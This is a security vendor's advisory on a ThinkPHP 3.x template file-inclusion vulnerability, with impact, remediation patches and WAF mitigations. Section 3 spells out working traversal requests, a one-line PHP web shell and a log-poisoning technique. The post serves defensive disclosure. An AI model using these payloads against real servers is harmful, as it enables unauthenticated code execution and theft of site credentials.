Skip to content
Go back

[CVE-2025-50707] ThinkPHP 3 File Inclusion Lets Attackers Execute Arbitrary Code

Volerion Research

TL;DR
Any ThinkPHP application that still runs version 3.2.5 or earlier is vulnerable to a trivially exploitable file-inclusion bug. By abusing the framework’s template parsing logic an unauthenticated attacker can include a crafted .html file that contains PHP, which then executes in the web server’s context. Public proof-of-concept code is already circulating and mass-scanning is expected because ThinkPHP is popular with high-traffic Chinese websites and low-cost hosting panels.


1. Summary

CVE ID CVE-2025-50707
Affected Product(s) ThinkPHP ≤ 3.2.5 when URL routing is enabled (default)
Volerion Risk Score 7.9 / 10
Exploit Status Public PoC available
CISA KEV No

Unauthenticated users can craft a single GET request that forces ThinkPHP to treat an attacker-controlled file as a template. Because ThinkPHP evaluates PHP code that appears inside template files, the attacker gains arbitrary code execution as the web server user.


2. Context – Why another ThinkPHP bug is still a big deal

ThinkPHP has powered tens of thousands of small-to-medium websites across Asia for more than a decade. Many of those sites rely on shared hosting or abandoned CMS packages that bundle the 3.x branch and rarely receive updates. Similar ThinkPHP bugs in 2018 led to large-scale compromises of e-commerce stores and influencer blogs, which were then folded into cryptomining botnets. The attack surface remains large because:

In short, a dated but widespread framework plus a no-barrier exploit equals high real-world risk.


3. Technical Details – From template inclusion to remote shell

ThinkPHP builds a template path out of three GET parameters: m (module), c (controller) and a (action). The framework ultimately does:

$template = APP_PATH . $module . '/' . $controller . '/' . $action . '.html';
include $template;

No canonicalisation or extension check takes place. If the attacker injects directory-traversal sequences in the a parameter, the resulting path may leave the intended directory and reference any readable file on disk. When that file ends in .html ThinkPHP passes it through its template engine, which treats <?php ... ?> blocks as ordinary PHP.

A minimal exploit therefore looks like:

GET /index.php?m=Home&c=Index&a=../../Uploads/evil HTTP/1.1
Host: victim.example.com

Uploads/evil.html contains:

<?php system($_GET['cmd']); ?>

The next request to the same path executes arbitrary commands:

GET /index.php?m=Home&c=Index&a=../../Uploads/evil&cmd=id HTTP/1.1

Practically, attackers first upload the payload via an existing file-upload endpoint (many ThinkPHP-based CMS packages offer one). If no upload route exists, log-file poisoning is another option: send a web request that embeds <?php … ?> in the User-Agent header so it ends up in the access log, then include that log file with the traversal technique.


4. Impact – Complete server compromise in one round-trip

Once code executes, everything the PHP-FPM or Apache user can touch is at risk. That typically means database credentials inside config.php, session cookies for logged-in users, file-system write access to deface the site or plant backdoors and the ability to pivot deeper into the network if the web server lives on a flat LAN. Past ThinkPHP mass-exploitation waves resulted in:

Because the bug is unauthenticated and has a proven history of large-scale abuse, defenders should treat even informational websites as high-value footholds.


5. Remediation – Patch, upgrade or block fast

The ThinkPHP maintainers released 3.2.6 which hardens parseTemplate by validating action names and forbidding directory traversal. If you must remain on 3.x, apply the single-line patch below and regenerate autoload files.

- $action = $_GET['a'];
+ $action = basename(str_replace(['..', '/'], '', $_GET['a']));

Short-term mitigations:

  1. Deploy a WAF rule that blocks ../ sequences in the a parameter.
  2. Deny all .html requests that reach outside the configured view directory via open_basedir or disable_functions.
  3. Remove unused upload endpoints to prevent easy payload delivery.

Firewalls alone are not enough because obfuscated traversal strings and log-file inclusion bypass naive regex patterns. The safest path is a framework upgrade.


6. Timeline

Date (UTC)Milestone
2024-07-15Researcher “xinyisleep” publishes technical write-up and PoC
2025-08-05 15:15CVE-2025-50707 published by MITRE
2025-08-05 15:18Volerion completes enrichment and assigns risk score

7. References


About Volerion

Volerion delivers AI-driven enrichment minutes after a CVE goes live. A single call to our REST API returns CVSS 4.0 vectors, exploitability metrics and affected products complete with remediation. Additionally, we offer different scoring profiles, complete with insight into the eight comprehensive categories that make up the final score. Our API is also available in the traditional NVD API 2.0 format, so integration is as simple as swapping hosts. Spend less time parsing CVEs and more time closing them.

How the Volerion Risk Score Fits With CVSS, EPSS and KEV

At the time of writing:

The Volerion Risk Score integrates these data points with additional context such as exploit maturity and product prevalence. For CVE-2025-50707 the score is 7.9, placing it in our high-risk band because public exploits exist and ThinkPHP remains widely deployed in unmanaged environments.


Share this post on:

Previous Post
[CVE-2025-58056] Netty’s lenient chunk extension parsing opens the door to HTTP request smuggling
Next Post
[CVE-2025-54571] ModSecurity Content-Type Confusion Exposes Script Source and Enables Stored XSS